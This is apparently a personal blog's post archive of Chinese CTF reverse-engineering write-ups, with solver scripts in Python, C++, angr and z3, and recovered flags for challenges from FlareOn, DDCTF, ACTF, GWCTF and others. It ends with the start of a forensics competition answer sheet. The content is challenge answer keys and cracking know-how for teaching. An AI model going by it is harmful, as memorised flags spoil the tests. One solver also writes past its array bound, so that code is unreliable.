(inp) 4 16 LOAD_NAME 3 (list) 18 LOAD_NAME 2 (inp) 20 CALL_FUNCTION 1 22 STORE_NAME 4 (flag) 5 24 LOAD_NAME 5 (len) 26 LOAD_NAME 4 (flag) 28 CALL_FUNCTION 1 30 LOAD_NAME 5 (len) 32 LOAD_NAME 0 (magic) 34 CALL_FUNCTION 1 36 COMPARE_OP 3 (!=) 38 POP_JUMP_IF_FALSE 54 6 40 LOAD_NAME 6 (print) 42 LOAD_CONST 2 ('qwq') 44 CALL_FUNCTION 1 46 POP_TOP 7 48 LOAD_NAME 7 (exit) 50 CALL_FUNCTION 0 52 POP_TOP 9 >> 54 LOAD_NAME 8 (range) 56 LOAD_NAME 5 (len) 58 LOAD_NAME 4 (flag) 60 CALL_FUNCTION 1 62 LOAD_CONST 3 (2) 64 BINARY_FLOOR_DIVIDE 66 CALL_FUNCTION 1 68 GET_ITER >> 70 FOR_ITER 54 (to 126) 72 STORE_NAME 9 (i)10 74 LOAD_NAME 4 (flag) 76 LOAD_CONST 3 (2) 78 LOAD_NAME 9 (i) 80 BINARY_MULTIPLY 82 LOAD_CONST 4 (1) 84 BINARY_ADD 86 BINARY_SUBSCR 88 LOAD_NAME 4 (flag) 90 LOAD_CONST 3 (2) 92 LOAD_NAME 9 (i) 94 BINARY_MULTIPLY 96 BINARY_SUBSCR 98 ROT_TWO 100 LOAD_NAME 4 (flag) 102 LOAD_CONST 3 (2) 104 LOAD_NAME 9 (i) 106 BINARY_MULTIPLY 108 STORE_SUBSCR 110 LOAD_NAME 4 (flag) 112 LOAD_CONST 3 (2) 114 LOAD_NAME 9 (i) 116 BINARY_MULTIPLY 118 LOAD_CONST 4 (1) 120 BINARY_ADD 122 STORE_SUBSCR 124 JUMP_ABSOLUTE 7012 >> 126 BUILD_LIST 0 128 STORE_NAME 10 (check)14 130 LOAD_NAME 8 (range) 132 LOAD_NAME 5 (len) 134 LOAD_NAME 4 (flag) 136 CALL_FUNCTION 1 138 CALL_FUNCTION 1 140 GET_ITER >> 142 FOR_ITER 26 (to 170) 144 STORE_NAME 9 (i)15 146 LOAD_NAME 10 (check) 148 LOAD_METHOD 11 (append) 150 LOAD_NAME 12 (ord) 152 LOAD_NAME 4 (flag) 154 LOAD_NAME 9 (i) 156 BINARY_SUBSCR 158 CALL_FUNCTION 1 160 LOAD_CONST 5 (222) 162 BINARY_XOR 164 CALL_METHOD 1 166 POP_TOP 168 JUMP_ABSOLUTE 14217 >> 170 LOAD_NAME 8 (range) 172 LOAD_NAME 5 (len) 174 LOAD_NAME 0 (magic) 176 CALL_FUNCTION 1 178 CALL_FUNCTION 1 180 GET_ITER >> 182 FOR_ITER 34 (to 218) 184 STORE_NAME 9 (i)18 186 LOAD_NAME 10 (check) 188 LOAD_NAME 9 (i) 190 BINARY_SUBSCR 192 LOAD_NAME 0 (magic) 194 LOAD_NAME 9 (i) 196 BINARY_SUBSCR 198 COMPARE_OP 3 (!=) 200 POP_JUMP_IF_FALSE 18219 202 LOAD_NAME 6 (print) 204 LOAD_CONST 2 ('qwq') 206 CALL_FUNCTION 1 208 POP_TOP20 210 LOAD_NAME 7 (exit) 212 CALL_FUNCTION 0 214 POP_TOP 216 JUMP_ABSOLUTE 18222 >> 218 LOAD_NAME 6 (print) 220 LOAD_CONST 6 ('happy new year!') 222 CALL_FUNCTION 1 224 POP_TOP 226 LOAD_CONST 7 (None) 228 RETURN_VALUE 不是很难: 123456789101112131415161718magic = [178, 184, 185, 191, 182, 165, 174, 191, 129, 183, 187, 176, 129, 169, 191, 167, 163]inp = input("flag>>> ")flag = list(inp)if len(magic) != len(flag): print('qwq') exit(0)else: for i in range(len(flag)//2): flag[i*2],flag[i*2+1]=flag[i*2+1],flag[i*2] check=[] for i in range(len(flag)): check.append(ord(flag[i]) ^ 222) for i in range(len(magic)): if check[i] != magic[i]: print('qwq') exit(0) print('happy new year!') 写一下exp: 12345678check=[178, 184, 185, 191, 182, 165, 174, 191, 129, 183, 187, 176, 129, 169, 191, 167, 163]flag=[]for i in check: flag.append(chr(i^222))for i in range(len(flag)//2): flag[i*2],flag[i*2+1]=flag[i*2+1],flag[i*2]for i in flag: print(i,end='') FlareOn4 IgniteMe题确实比较简单,直接定位关键函数sub_401050,重命名一下: 123456789101112131415161718192021int sub_401050(){ int length; // [esp+0h] [ebp-Ch] int i; // [esp+4h] [ebp-8h] unsigned int j; // [esp+4h] [ebp-8h] char v4; // [esp+Bh] [ebp-1h] length = strlen((int)input); v4 = sub_401000(); for ( i = length - 1; i >= 0; --i ) { rel[i] = v4 ^ input[i]; v4 = input[i]; } for ( j = 0; j < 39; ++j ) { if ( rel[j] != (unsigned __int8)byte_403000[j] ) return 0; } return 1;} 代码逻辑十分简单,然后就是那个v4不会算,动调一下就知道了。 写一下exp: 12345678910111213#include<bits/stdc++.h>using namespace std;int main(){ int rel[]={0x0D,0x26,0x49,0x45,0x2A,0x17,0x78,0x44,0x2B,0x6C,0x5D,0x5E,0x45,0x12,0x2F,0x17,0x2B,0x44,0x6F,0x6E,0x56,0x9,0x5F,0x45,0x47,0x73,0x26,0x0A,0x0D,0x13,0x17,0x48,0x42,0x1,0x40,0x4D,0x0C,0x2,0x69,0x0}; char flag[40]; int v4=4; for ( int i = 38; i >= 0; --i ) { flag[i] = v4 ^ rel[i]; v4 = flag[i]; } cout<<"flag{"<<flag<<'}';} //flag{[email protected]} BUUCTF Firmware这尼玛……是啥????电子取证???还是MISC???还是IOT??? 我还是按照MISC来处理吧……它给的是内存文件,里面应该有日志,配置文件啥的……(我猜的 所以我们先分离一下: 第一个空文件夹……第二个没看出来是个啥,第三个应该跟第二个是一样的,但我解压也没搞定……最后一个没见过。 我们先看一下最后一个的文件格式: SquashFS 是一套基于Linux内核使用的压缩只读文件系统。该文件系统能够压缩系统内的文档,inode以及目录,文件最大支持$2^{64}$字节。 解析这个文件格式需要用一个工具firm-mod-kit,但是这个东西我死活装不上!!! 我又尝试用ubuntu自带的unsquashfs进行解析: 我又尝试挂载该文件: 草!!!! 最后还是没有解决……淦!!!网上有题解,感兴趣的直接百度……","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week5","slug":"Re学习之RX引路-week5","date":"2021-02-23T11:20:28.000Z","updated":"2021-02-23T12:47:01.242Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week5/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week5/","excerpt":"","text":"上周因为别的事情(帮忙校验电子取证的书,所以上周的题也就没有怎么搞。还有一个原因是我做安卓逆向的工具AndroidKiller挂了,一直也没修好(到现在还没修好……最后只能用Android逆向助手。 DDCTF-Android Easydex2jar,然后jd-gui: 123456789101112131415161718192021222324public class FlagActivity extends d{ private static String m = "com.didi_ctf.flagapp.FlagActivity"; private static final byte[] p = { -40, -62, 107, 66, -126, 103, -56, 77, 122, -107, -24, -127, 72, -63, -98, 64, -24, -5, -49, -26, 79, -70, -26, -81, 120, 25, 111, -100, -23, -9, 122, -35, 66, -50, -116, 3, -72, 102, -45, -85, 0, 126, -34, 62, 83, -34, 48, -111, 61, -9, -51, 114, 20, 81, -126, -18, 27, -115, -76, -116, -48, -118, -10, -102, -106, 113, -104, 98, -109, 74, 48, 47, -100, -88, 121, 22, -63, -32, -20, -41, -27, -20, -118, 100, -76, 70, -49, -39, -27, -106, -13, -108, 115, -87, -1, -22, -53, 21, -100, 124, -95, -40, 62, -69, 29, 56, -53, 85, -48, 25, 37, -78, 11, -110, -24, -120, -82, 6, -94, -101 }; private static final byte[] q = { -57, -90, 53, -71, -117, 98, 62, 98, 101, -96, 36, 110, 77, -83, -121, 2, -48, 94, -106, -56, -49, -80, -1, 83, 75, 66, -44, 74, 2, -36, -42, -103, 6, -115, -40, 69, -107, 85, -78, -49, 54, 78, -26, 15, 98, -70, 8, -90, 94, -61, -84, 64, 112, 51, -29, -34, 126, -21, -126, -71, -31, -24, -60, -2, -81, 66, -84, 85, -91, 10, 84, 70, -8, -63, 26, 126, -76, -104, -123, -71, -126, -62, -23, 11, -39, 70, 14, 59, -101, -39, -124, 91, -109, 102, -49, 21, 105, 0, 37, -128, -57, 117, 110, -115, -86, 56, 25, -46, -55, 7, -125, 109, 76, 104, -15, 82, -53, 18, -28, -24 }; private TextView n; private TextView o; private String i() { int i = 0; byte[] arrayOfByte1 = new byte[p.length]; for (int j = 0; j < arrayOfByte1.length; j++) arrayOfByte1[j] = (byte)(p[j] ^ q[j]); int k = arrayOfByte1[0]; for (int i1 = 0; arrayOfByte1[(k + i1)] != 0; i1++); byte[] arrayOfByte2 = new byte[i1]; while (i < i1) { arrayOfByte2[i] = arrayOfByte1[(k + i)]; i++; } return new String(arrayOfByte2); } 我们按照它给的逻辑分别算出 arrayOfByte2=”DDCTF-3ad60811d87c4a2dba0ef651b2d93476@didichuxing.com“ flag{[email protected]} WELCOME TO JNI JNI 全称 Java Native Interface,Java 本地化接口,可以通过 JNI 调用系统提供的 API。操作系统,无论是 Linux,Windows 还是 Mac OS,或者一些汇编语言写的底层硬件驱动都是 C/C++ 写的。Java和C/C++不同 ,它不会直接编译成平台机器码,而是编译成虚拟机可以运行的Java字节码的.class文件,通过JIT技术即时编译成本地机器码,所以有效率就比不上C/C++代码,JNI技术就解决了这一痛点,JNI 可以说是 C 语言和 Java 语言交流的适配器、中间件。 总而言之,我们现在还是要搞这个apk嘛~ 先找到入口点,然后jd-gui看一下: 根据图中逻辑,我们现在要去native-lib中寻找loginUtils: Codegate CTF Redvelvet根据提示内容,我们要用angr解题,在IDA64里面不难看出我们要find 0x4015F2(最后输出结果的位置),avoid 0x401621: 为了提高angr的速度和正确率,我们直接把exit函数设置为avoid: 123456789101112import angrp = angr.Project("./RedVelvet",load_options={"auto_load_libs": False})sta = p.factory.entry_state()sim = p.factory.simulation_manager(sta)sim.explore(find=0x4015f2,avoid=[0x4007D0])print(sim.found[0].posix.dumps(0))'''Traceback (most recent call last): File "exp.py", line 6, in <module> print(sim.found[0].posix.dumps(0))IndexError: list index out of range''' 嗯????为什么没有答案呢???我去问了一下万能的Rx神,他是这么给我解释的(大意):最后一个加密的函数是SHA256,而众所周知SHA256是不可逆算法,所以z3是跑不出结果的。但是在跑到SHA256的时候它的输入内容相当于已经确定了,所以我们把find定位在它进入SHA256的时候,也就是0x40152d: 1234567import angrp = angr.Project("./RedVelvet",load_options={"auto_load_libs": False})sta = p.factory.entry_state()sim = p.factory.simulation_manager(sta)sim.explore(find=0x40152d,avoid=[0x4007D0])print(sim.found[0].posix.dumps(0))#flag{What_You_Wanna_Be?:)_l`_la} 插一个题外话,我用wsl貌似才4mins左右……","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week4","slug":"Re学习之RX引路-week4","date":"2021-02-23T11:20:24.000Z","updated":"2021-02-23T12:45:51.462Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week4/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week4/","excerpt":"","text":"DMCTF2020 re3根据提示,用PEid和IDA的Findcrypt插件,发现big number:21232f297a57a5a743894a0e4a801fc3这么一长串数字,要么RSA,要么散列函数,但这个程序明显不是RSA,直接cmd5挨个试一遍,是md5加密,解出来是admin ACTF2020 Oruga明显地图题目,主函数先检查flag格式,然后再做处理。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152_BOOL8 __fastcall sub_78A(char *a1){ int v2; // [rsp+Ch] [rbp-Ch] int v3; // [rsp+10h] [rbp-8h] int v4; // [rsp+14h] [rbp-4h] v2 = 0; v3 = 5; v4 = 0; while ( map[v2] != '!' ) { v2 -= v4; if ( a1[v3] != 'W' || v4 == -16 ) // up { if ( a1[v3] != 'E' || v4 == 1 ) // right { if ( a1[v3] != 'M' || v4 == 16 ) // down { if ( a1[v3] != 'J' || v4 == -1 ) // left return 0LL; v4 = -1; } else { v4 = 16; } } else { v4 = 1; } } else { v4 = -16; } ++v3; while ( !map[v2] ) { if ( v4 == -1 && (v2 & 0xF) == 0 ) return 0LL; if ( v4 == 1 && v2 % 16 == 15 ) return 0LL; if ( v4 == 16 && (unsigned int)(v2 - 240) <= 0xF ) return 0LL; if ( v4 == -16 && (unsigned int)(v2 + 15) <= 0x1E ) return 0LL; v2 += v4; } } return a1[v3] == '}';} 规则是: 起点是第一个字符 方向对应字母 一个方向一直走,走到障碍换方向,走到边界直接退出 flag{MEWEMEWJMEWJM} 网鼎杯2020 signal哎~该学的迟早要学……之前打moe的时候就有让学这个玩意,但是真的懒啊,不想学……现在就得学了。稍微会一点点一点点angr,这个题就很简单,直接贴代码吧: 1234567import angrp = angr.Project("./signal.exe",auto_load_libs=False)sta = p.factory.entry_state()sim = p.factory.simulation_manager(sta)sim.explore(find = 0x40175E)print(sim.found[0].posix.dumps(0))# 757515121f3d478 也可以用Ponce做,但是我这里试了好几遍不知道为啥,只能搞出来前13位……","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week3","slug":"Re学习之RX引路-week3","date":"2021-02-23T11:20:12.000Z","updated":"2021-02-23T12:44:14.971Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week3/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week3/","excerpt":"","text":"SUCTF2019 SigninDIE查一下:ELF64,IDA打开,没扣符号表,你🐎有了。 gmpz……好眼熟……对了!python里面有一个库叫做gmpy,盲猜这个库是支持高精度的一个库。根据__gmpz_powm不难猜出这应该是一个RSA: N = 103461035900816914121390101299049044413950405173712170434161686539878160984549 c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35 e = 65537 分解N: python脚本: 12345678910111213import gmpy2p = 366669102002966856876605669837014229419q = 282164587459512124844245113950593348271N = 103461035900816914121390101299049044413950405173712170434161686539878160984549c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35e = 65537d = gmpy2.invert(e,(p-1)*(q-1))m = gmpy2.powmod(c,d,p*q)print(hex(m))# 0x73756374667b50776e5f405f68756e647265645f79656172737d 然后十六进制转字符: FlareOn6 Overlang打开文件夹,有一个提示信息: The secret of this next challenge is cleverly hidden. However, with the right approach, finding the solution will not take an overlong amount of time. Hint:本题解出相应字符串请用flag{}包裹,形如:flag{[email protected]}。 大意就是:这个题很奇葩,要有方法…… 那先按照常规思路,IDA打开,woc,好少: 看完了……emmmmm……没什么想法…… 倒是有类似于加密算法的地方,,但是总感觉一堆位运算不是让你去逆的…… 我们找一找奇怪的点…… 在调用sub_401160函数的时候,第三个参数是0x1C,但是阅读sub_401160函数,第三个参数应该是第二个参数的长度,第二个参数的长度是0xAF,再结合运行弹窗: 我们动调修改那个数值: 1flag{[email protected]} BJDCTF2020 easy提示:和上一个题有异曲同工之妙……哦~ 运行提示:Can you find me? 为什么有一种莫名的做pwn的感觉…… 既然让我们找,那我们就找找,shift F12,字符串没什么…… 在函数表里面找找…… C语言里面应该没有叫做ques的函数吧(ques,,,question???),看了看没有函数调用它……好家伙,这不就是pwn里面的backdoor函数么…… 直接动调,随便修改一个指令为 1call 0x401520 这里建议修改main函数里面的内容,如果修改别的库函数,可能会有各种奇奇怪怪的问题……","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week2","slug":"Re学习之RX引路-week2","date":"2021-02-23T11:20:10.000Z","updated":"2021-02-23T12:44:21.848Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week2/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week2/","excerpt":"","text":"从 CNSS 偷来的 SMC最早接触SMC(Self Modify Code)这个词语是在看《加密与解密》的时候看的。我印象中碰到的第一个SMC的题目是第二届全国中学生网络安全竞赛线上赛的一个maze题,它smc的内容是地图……那个题目比较简单,导致我认为smc很简单……然后我在今年的SWUPCTF里面被很很打脸,第一个smc直接不会。 这个题的smc感觉还是比较简单的(bushi,但是我一开始没做出来是因为我被swup的那个题目给影响了,直接全局找vm函数,在函数表里面没有找到,又往main函数前面手动查找,但是也没有找到,就不会了……直到前两天碰见rx神,谈到这个题,他说:垃圾bb,你知道什么是NX(堆栈不可执行)保护么????我留着屈辱的泪水,终于明白了。这个题的text有修改权限,不需要vm函数来修改权限。那么我在main函数里面找了找,终于找到了smc函数: 在main函数里面可以看到三个参数,写一下ida_python脚本(嫖RX的: 123from ida_bytes import *for i in range(0x138): patch_byte(0x408b06+i, get_byte(0x408b06+i)^74) 好了,知道了……maze题,扣迷宫,手动走: ByteCTF 2020 AWD TikTokAdmin 简单花指令这个题只是要求去花嘛~~,那直接在问题窗口里面找花就好了: 两处花指令都是十分简单的那种 12345je loc_8125+1jnz loc_8125+1je loc_81f2+1jnz loc_81f2+1 直接patch一下,然后p一下就好了。 attachment上周的第三题那个C艹艹逆向,思路很简单,但是那么多dll,反汇编哪一个???而且怎们知道是这个事件里面…… 思路很简单,把“DD01903921EA24941C26A48F2CEC24E0BB0E8CC7”SHA1解密:1001,再md5加密:“b8c37e33defde51cf91e1e03e51657da”,然后再跟进md5那个加密函数:好家伙,取20位……BJDCTF{b8c37e33defde51cf91e} 但还是最前面的两个问题很难受……不太懂 PS: 那两个问题RX解答了,他的专业回复是这样的:看这里:Unity - Manual: Assembly definitions (unity3d.com)","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"Re学习之RX引路_week1","slug":"Re学习之RX引路-week1","date":"2021-02-23T11:20:08.000Z","updated":"2021-02-23T12:36:30.696Z","comments":true,"path":"2021/02/23/Re学习之RX引路-week1/","link":"","permalink":"http://example.com/2021/02/23/Re%E5%AD%A6%E4%B9%A0%E4%B9%8BRX%E5%BC%95%E8%B7%AF-week1/","excerpt":"","text":"DMCTF 2020 re1名字叫来点简单的算法题……Peid查壳查算法,没查出来,进IDA。 定位main函数,重命名,一气呵成: 盲猜sub_485D1A里面嵌套了strlen,跟进去看看,应该差不多,flag长度要求20. 那就再进sub_4849EC看看; 美化一下: 瞬间舒服多了……目测凯撒,直接上他: 12345678910111213141516171819202122232425262728293031323334353637383940ans=[]a=[0x73,0x65,0x6D,0x66]a=a[::-1]for i in a: ans.append(i)a=[0x6D,0x75,0x7B,0x68]a=a[::-1]for i in a: ans.append(i)a=[0x76,0x5F,0x63,0x6B]a=a[::-1]for i in a: ans.append(i)a=[0x5F,0x6E,0x72,0x6C]a=a[::-1]for i in a: ans.append(i)a=[0x7D,0x68,0x6C,0x67]a=a[::-1]for i in a: ans.append(i)# ans=[102, 109, 101, 115, 104, 123, 117, 109, 107, 99, 95, 118, 108, 114, 110, 95, 103, 108, 104, 125]for i in ans: if i>=ord('a') and i<=ord('k'): print(chr(i-2),end='') elif i>=ord('o') and i<=ord('y'): print(chr(i+1),end='') elif i==ord('l') or i==ord('m'): print("(",chr(i-2),chr(i),")",end='') elif i==ord('n'): print("(",chr(i),chr(i+1),")",end='') else: print(chr(i),end='')# d( k m )ctf{v( k m )ia_w( j l )s( n o )_e( j l )f} 这个题貌似就是多解……经RX验证…… DMCTF 2020 re4DIE查壳……没结果,拖进IDA,查看字符串,定位main函数: 根据红框框,盲猜地图题。扣地图: 1 0 0 0 0 1 1 0 0 01 1 0 0 0 1 1 1 0 00 1 0 0 0 1 0 1 0 00 1 1 1 1 1 0 1 0 00 0 0 0 1 1 0 1 0 00 0 0 0 0 0 0 1 0 00 0 0 0 0 0 0 1 1 00 0 0 0 0 0 0 0 1 00 0 0 0 0 0 0 0 1 10 0 0 0 0 0 0 0 0 1 看逻辑: 手动走迷宫: sdssdddsdwwwwdsdsssssdssds20220002033330202222202202 执行一下: GWCTF 2019 xxorDIE查一下,没什么……拖进IDA64,woc惊喜!没扣符号表!!! 找到main函数,美化一下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293__int64 __fastcall main(int a1, char **a2, char **a3){ int i; // [rsp+8h] [rbp-68h] int j; // [rsp+Ch] [rbp-64h] __int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF __int64 v7[6]; // [rsp+40h] [rbp-30h] BYREF v7[5] = __readfsqword(0x28u); puts("Let us play a game?"); puts("you have six chances to input"); puts("Come on!"); v6[0] = 0LL; v6[1] = 0LL; v6[2] = 0LL; v6[3] = 0LL; v6[4] = 0LL; for ( i = 0; i <= 5; ++i ) { printf("%s", "input: "); a2 = (char **)((char *)v6 + 4 * i); __isoc99_scanf("%d", a2); } v7[0] = 0LL; v7[1] = 0LL; v7[2] = 0LL; v7[3] = 0LL; v7[4] = 0LL; for ( j = 0; j <= 2; ++j ) { dword_601078 = v6[j]; dword_60107C = HIDWORD(v6[j]); a2 = (char **)&unk_601060; sub_400686(&dword_601078, &unk_601060); LODWORD(v7[j]) = dword_601078; HIDWORD(v7[j]) = dword_60107C; } if ( (unsigned int)sub_400770(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); } puts("Congratulation!\\n"); puts("You seccess half\\n"); puts("Do not forget to change input to hex and combine~\\n"); puts("ByeBye"); return 0LL;}__int64 __fastcall main(__int64 a1, char **a2, char **a3){ signed int i; // [rsp+8h] [rbp-68h] signed int j; // [rsp+Ch] [rbp-64h] __int64 input[5]; // [rsp+10h] [rbp-60h] __int64 flag_enc[5]; // [rsp+40h] [rbp-30h] unsigned __int64 v8; // [rsp+68h] [rbp-8h] v8 = __readfsqword(0x28u); puts("Let us play a game?"); puts("you have six chances to input"); puts("Come on!"); input[0] = 0LL; input[1] = 0LL; input[2] = 0LL; input[3] = 0LL; input[4] = 0LL; for ( i = 0; i <= 5; ++i ) { printf("%s", "input: ", (unsigned int)i); __isoc99_scanf("%d", (char *)input + 4 * i); } flag_enc[0] = 0LL; flag_enc[1] = 0LL; flag_enc[2] = 0LL; flag_enc[3] = 0LL; flag_enc[4] = 0LL; for ( j = 0; j <= 2; ++j ) { tmp_0_ = input[j]; tmp_1_ = *((_DWORD *)input + j * 2 + 1); //这里的tmp_0和tmp_1本身以为是两个毫不相干的变量,但是在后面的change函数那里,因为传入的是指针,所以发现对tmp_1也进行了处理,所以这里应该处理成为一个数组 change((unsigned int *)&tmp_0_, &table); LODWORD(flag_enc[j]) = tmp_0_; *((_DWORD *)flag_enc + j * 2 + 1) = tmp_1_; } if ( (unsigned int)check(flag_enc) != 1 ) { puts("NO NO NO~ "); exit(0); } puts("Congratulation!\\n"); puts("You seccess half\\n"); puts("Do not forget to change input to hex and combine~\\n"); puts("ByeBye"); return 0LL;} 思路比较清晰,输入以后change函数处理,check函数比较,出结果。 我们先来看看check函数,美化: 123456789101112131415161718192021signed __int64 __fastcall check(_DWORD *a1){ signed __int64 result; // rax if ( a1[2] - a1[3] != 0x84A236FFLL || a1[3] + a1[4] != 0xFA6CB703LL || a1[2] - a1[4] != 0x42D731A8LL ) { puts("Wrong!"); result = 0LL; } else if ( *a1 != 0xDF48EF7E || a1[5] != 0x84F30420 || a1[1] != 0x20CAACF4 ) { puts("Wrong!"); result = 0LL; } else { puts("good!"); result = 1LL; } return result;} 根据提示,z3解方程: 12345678910111213141516171819202122232425from z3 import *s=Solver()x0 = Int('x0')x1 = Int('x1')x2 = Int('x2')x3 = Int('x3')x4 = Int('x4')x5 = Int('x5')s.add(x0==0xDF48EF7E)s.add(x5==0x84F30420)s.add(x1==0x20CAACF4)s.add(x2-x3==0x84A236FF)s.add(x3+x4==0xFA6CB703)s.add(x2-x4==0x42D731A8)if s.check() == sat: m = s.model() print(m)'''[x2 = 3774025685, x3 = 1548802262, x4 = 2652626477, x1 = 550153460, x5 = 2230518816, x0 = 3746099070] ''' 那么相当于知道了flag_enc,再看change函数: 12345678910111213141516171819202122__int64 __fastcall change(unsigned int *ini, _DWORD *tables){ __int64 result; // rax unsigned int var; // [rsp+1Ch] [rbp-24h] unsigned int var_1; // [rsp+20h] [rbp-20h] int tmp; // [rsp+24h] [rbp-1Ch] unsigned int i; // [rsp+28h] [rbp-18h] var = *ini; var_1 = ini[1]; tmp = 0; for ( i = 0; i <= 63; ++i ) { tmp += 0x458BCD42; var += (var_1 + tmp + 11) ^ ((var_1 << 6) + *tables) ^ ((var_1 >> 9) + tables[1]) ^ 0x20; var_1 += (var + tmp + 20) ^ ((var << 6) + tables[2]) ^ ((var >> 9) + tables[3]) ^ 0x10; } *ini = var; result = var_1; ini[1] = var_1; return result;} 对change函数的三行关键代码进行分析,发现var_1的处理只与此时var的值有关,其余都是常量;var的处理只与此时var_1值有关,其余都是常量。所以直接把加号变成减号就ok了。 然后还有一点需要注意的就是在IDA里面你的数据数据类型是什么,你在写exp的时候数据就用什么数据类型,否则可能会出锅。 123456789101112131415161718192021222324252627282930#include<bits/stdc++.h>using namespace std;int main(){ unsigned int flag_enc[5],flag[5]; flag_enc[0]=3746099070;flag_enc[1]=550153460;flag_enc[2]=3774025685;flag_enc[3]=1548802262;flag_enc[4]=2652626477;flag_enc[5]=2230518816; unsigned int var[3]; unsigned int tables[4]={2,2,3,4}; for(int i=0;i<5;i+=2){ int tmp = 0x458BCD42*64; var[0]=flag_enc[i]; var[1]=flag_enc[i+1]; for(int j=0;j<=0x3F;j++){ var[1] -= (var[0] + tmp + 20) ^ ((var[0] << 6) + tables[2]) ^ ((var[0] >> 9) + tables[3]) ^ 0x10; var[0] -= (var[1] + tmp + 11) ^ ((var[1] << 6) + tables[0]) ^ ((var[1] >> 9) + tables[1]) ^ 0x20; tmp-=0x458BCD42; } flag[i]=var[0]; flag[i+1]=var[1]; } for(int i=0;i<6;i++) printf("0x%x\\n",flag[i]);}/*0x666c610x677b720x655f690x735f670x7265610x74217d*/ 再用sublime处理一下,用python稍微跑一下: 1234flag=[0x66,0x6c,0x61,0x67,0x7b,0x72,0x65,0x5f,0x69,0x73,0x5f,0x67,0x72,0x65,0x61,0x74,0x21,0x7d]for i in flag: print(chr(i),end='')# flag{re_is_great!}","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"第一届长安杯电子取证竞赛","slug":"第一届长安杯电子取证竞赛题解","date":"2021-02-21T01:33:15.000Z","updated":"2021-02-23T11:10:17.770Z","comments":true,"path":"2021/02/21/第一届长安杯电子取证竞赛题解/","link":"","permalink":"http://example.com/2021/02/21/%E7%AC%AC%E4%B8%80%E5%B1%8A%E9%95%BF%E5%AE%89%E6%9D%AF%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81%E7%AB%9E%E8%B5%9B%E9%A2%98%E8%A7%A3/","excerpt":"","text":"案情简介 在一起电诈案件中,受害者称自己的银行卡被他人冒用,曾收到假冒公安的短信,因为自己在一个 P2P 网站中理财,假冒公安称该网站已被列外非法网站,要自己到公安备案网站填写自己的信息,并帮助自己追回本金,因此信以为真,在网站上填写了自己的信息和绑定的银行卡信息;办案机关推测嫌疑人可能是获取了 P2P 网站中的注册用户信息,从而进行定向诈骗,因此调取了 P2P 理财网站的服务器,现委派你对该服务器进行电子数据取证。 Part 1你获得该 P2P 理财网站服务器硬盘镜像文件“检材 1.E01”,根据这个镜像文件,回答下列问题: 计算“检材 1.E01”镜像的 SHA256 值是多少( C ) A. 2b20022249e3e5d66d4bbed34ad337be5dd77b313c92dfe929aa56ed71449697B. 6a574c40548110598bd4c88520d34b37d13b372066737ede3104743f986b7263C. 5ee0b3809807bf8a39453695c5835cddfd33f65b4f5bee8b5670625291a6bc1cD. 8495b678da27c64b54f083afefbcf9f83f94c1de133c70c175b4a784551939dd 取证大师加载,右键计算SHA256: 该服务器的操作系统版本是什么( D ) A. CentOS release 6.5 (Final)B. Ubuntu 16.04.3 LTSC. Debian GNU/Linux 7.8 (wheezy)D. CentOS Linux release 7.6.1810(Core) 该服务器内核版本是多少(A) A. 3.10.0-957.el7.x86_64 B. 